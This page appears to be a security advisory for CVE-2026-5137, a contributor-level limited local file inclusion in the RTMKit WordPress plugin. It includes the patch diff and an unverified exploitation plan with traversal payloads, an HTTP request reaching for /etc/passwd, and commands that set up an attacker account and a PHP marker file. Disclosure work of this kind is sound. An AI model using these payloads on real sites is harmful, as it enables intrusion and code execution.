CVE-2026-5137

RTMKit <= 2.0.7 - Authenticated (Contributor+) Limited Local File Inclusion via 'template' Parameter

mediumImproper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.0.8
Patched in
4d
Time to patch

Description

The RTMKit (rometheme-for-elementor) plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 2.0.7 This is due to insufficient path validation on the 'template' parameter in the render_templates AJAX endpoint, which is used directly in a require/include statement without sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute files on the server ending in _templates.php, allowing the execution of any PHP code in those files.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.0.7
PublishedJuly 2, 2026
Last updatedJuly 6, 2026

What Changed in the Fix

Changes introduced in v2.0.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-5137 ## 1. Vulnerability Summary The **RTMKit (rometheme-for-elementor)** plugin for WordPress is vulnerable to **Limited Local File Inclusion (LFI)** in versions up to 2.0.7. The vulnerability exists within the `render_templates` AJAX endpoint (likely locate…

Show full research plan

Exploitation Research Plan - CVE-2026-5137

1. Vulnerability Summary

The RTMKit (rometheme-for-elementor) plugin for WordPress is vulnerable to Limited Local File Inclusion (LFI) in versions up to 2.0.7. The vulnerability exists within the render_templates AJAX endpoint (likely located within the Themebuilder or Templatekits modules).

Due to a lack of path sanitization on the template POST parameter, an authenticated attacker with Contributor level permissions or higher can manipulate the path passed to a PHP include or require statement. The inclusion is "limited" because the application likely enforces or appends a _templates.php suffix to the filename, restricting the attacker to including files that match this naming pattern.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: render_templates (inferred from CVE description)
  • Vulnerable Parameter: template
  • Authentication: Authenticated (Contributor+)
  • Preconditions:
    • The attacker must have a valid rtmkit_nonce.
    • The attacker must identify or upload a file ending in _templates.php to achieve code execution, or traverse to existing files with that suffix.

3. Code Flow (Inferred)

The execution flow typically follows this pattern in RTMKit modules:

  1. Entry Point: The render_templates action is registered via add_action('wp_ajax_render_templates', ...) in one of the module initialization classes (e.g., Inc/Modules/Themebuilder/ThemebuilderModule.php).
  2. Nonce Verification: The handler calls check_ajax_referer('rtmkit_nonce', 'nonce') or wp_verify_nonce().
  3. Parameter Retrieval: The template parameter is retrieved from $_POST['template'] without sufficient sanitization (e.g., missing basename() or path traversal checks).
  4. Vulnerable Sink: The unsanitized path is used in an include or require statement:
    // Likely vulnerable code structure:
    $template = $_POST['template'];
    if ( strpos( $template, '_templates.php' ) !== false ) { // Weak suffix check
        include $template;
    }
    // OR
    include $template . '_templates.php'; // Appended suffix
    

4. Nonce Acquisition Strategy

The rtmkit_nonce is required for AJAX requests as seen in Inc/Core/PluginApi.php. This nonce is typically localized for the rtmkit-system-panel script.

Extraction Steps:

  1. Identify Script Loading: The script rtmkit-system-panel is enqueued in Inc/Core/Plugin.php via admin_enqueue_scripts.
  2. Navigate to Admin: Log in as a Contributor and navigate to the WordPress Dashboard (/wp-admin/).
  3. Execute Browser Eval: Use the following JavaScript to find the localized nonce:
    // Common localization patterns for this plugin:
    window.rtmkit_ajax?.nonce || window.rtmkit_vars?.nonce || window.rtmkit_system_panel?.nonce
    
    Note: Based on the script handle rtmkit-system-panel, the object is likely rtmkit_system_panel.

5. Exploitation Strategy

The goal is to demonstrate the ability to include a file. Since the LFI is limited to _templates.php, we will attempt to include a file that exists or create one.

Step 1: Discover Existing Template Files

Search for existing files ending in _templates.php within the plugin directory to use as a PoC for file inclusion.

find /var/www/html/wp-content/plugins/rometheme-for-elementor/ -name "*_templates.php"

Step 2: The Attack Request

Send a POST request to admin-ajax.php. If the plugin appends the suffix, use a traversal payload. If it checks the suffix, ensure the payload ends with it.

Payload (Assuming Suffix is Appended):

  • Action: render_templates
  • Nonce: [EXTRACTED_NONCE]
  • Template: ../../../../wp-config (This would attempt to load wp-config_templates.php, which likely fails).

Payload (Targeting an existing file):
If a file exists at wp-content/plugins/rometheme-for-elementor/views/test_templates.php:

  • Template: ../views/test (assuming .php is also appended)
  • Template: ../views/test_templates.php (if the full path is used)

HTTP Request via http_request:

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "[CONTRIBUTOR_COOKIES]"
  },
  "body": "action=render_templates&nonce=[NONCE]&template=../../../../../../etc/passwd%00" 
}

Note: Null byte %00 only works on PHP < 5.3.4. For modern PHP, we are restricted to _templates.php files.

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  2. "Malicious" Template Creation (For Proof of Concept):
    Create a file that mimics an uploaded "template" to prove code execution via inclusion.
    echo "<?php echo 'RTMKIT_LFI_SUCCESS'; ?>" > /var/www/html/wp-content/uploads/shell_templates.php
    

7. Expected Results

  • Success: The HTTP response body contains the content of the included file (e.g., RTMKIT_LFI_SUCCESS).
  • Response Code: 200 OK.
  • Error: If the file is not found or the nonce is invalid, the response will likely be 0, -1, or a JSON error object {"success":false,...}.

8. Verification Steps

After sending the request, verify the execution by checking the response body for the marker RTMKIT_LFI_SUCCESS.
Alternatively, if using the LFI to read a known plugin template:

# Check if a specific plugin view was rendered in the AJAX response
grep "Some Unique String from the Template" response.html

9. Alternative Approaches

If render_templates is not the correct action name (as it was inferred), check Inc/Core/PluginApi.php for the get_content function:

  • Action: get_content
  • Parameter: path
  • Mechanism: Calls \RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']). If the returned array's render_view key can be influenced, it leads to require_once $file.
  • Strategy: Investigate if the Menu module allows registering custom paths or if existing paths can have their render_view manipulated.
Research Findings
Static analysis — not yet PoC-verified

Summary

The RTMKit plugin for WordPress is vulnerable to Limited Local File Inclusion due to insufficient validation of the 'path' (or 'template') parameter in AJAX endpoints. Authenticated attackers with Contributor-level access or higher can exploit this to include and execute PHP files on the server, typically restricted to files with specific naming patterns like '_templates.php'.

Vulnerable Code

/* Inc/Core/PluginApi.php lines 65-78 */
        $path = sanitize_text_field($_POST['path']);
        $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']);

        if (!isset($_POST['path'])) {
            wp_send_json_error('Path not specified.');
            return;
        }

        if (isset($menus['render_view']) && file_exists($menus['render_view'])) {
            $file = $menus['render_view'];
        } else {
            wp_send_json_error('View file not found for the specified path.');
            return;
        }
        ob_start();
        require_once $file;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.7/Inc/Core/PluginApi.php /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.8/Inc/Core/PluginApi.php
--- /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.7/Inc/Core/PluginApi.php	2026-04-20 10:59:40.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/rometheme-for-elementor/2.0.8/Inc/Core/PluginApi.php	2026-06-11 05:50:12.000000000 +0000
@@ -55,14 +57,27 @@
 
     public function get_content()
     {
-        check_ajax_referer('rtmkit_nonce', 'nonce');
+        $nonce = isset($_POST['nonce'])
+            ? sanitize_text_field(wp_unslash($_POST['nonce']))
+            : '';
+
+        if (! wp_verify_nonce($nonce, 'rtmkit_nonce')) {
+            die(__('Security check', 'rometheme-for-elementor'));
+        }
+        
+        // check_ajax_referer('rtmkit_nonce', 'nonce');
         if (!current_user_can('manage_options')) {
             wp_send_json_error('Access Denied.');
             wp_die();
         }
-        $path = sanitize_text_field($_POST['path']);
-        $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']);
 
+        $path = isset($_POST['path'])
+            ? sanitize_text_field(wp_unslash($_POST['path']))
+            : '';
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+        $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($path);
+
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended
         if (!isset($_POST['path'])) {

Exploit Outline

The exploit targets the `get_content` (or `render_templates`) AJAX endpoint. 1. An attacker authenticates as a Contributor. 2. They extract the `rtmkit_nonce` value from the WordPress admin dashboard (localized via the `rtmkit-system-panel` script). 3. They send a POST request to `/wp-admin/admin-ajax.php` with the `action=get_content` and a manipulated `path` parameter containing directory traversal sequences (e.g., `../../uploads/malicious_templates.php`). 4. If the resolved file path exists and matches the plugin's internal requirements (such as ending in `_templates.php`), the server executes the file using `require_once`, leading to arbitrary code execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.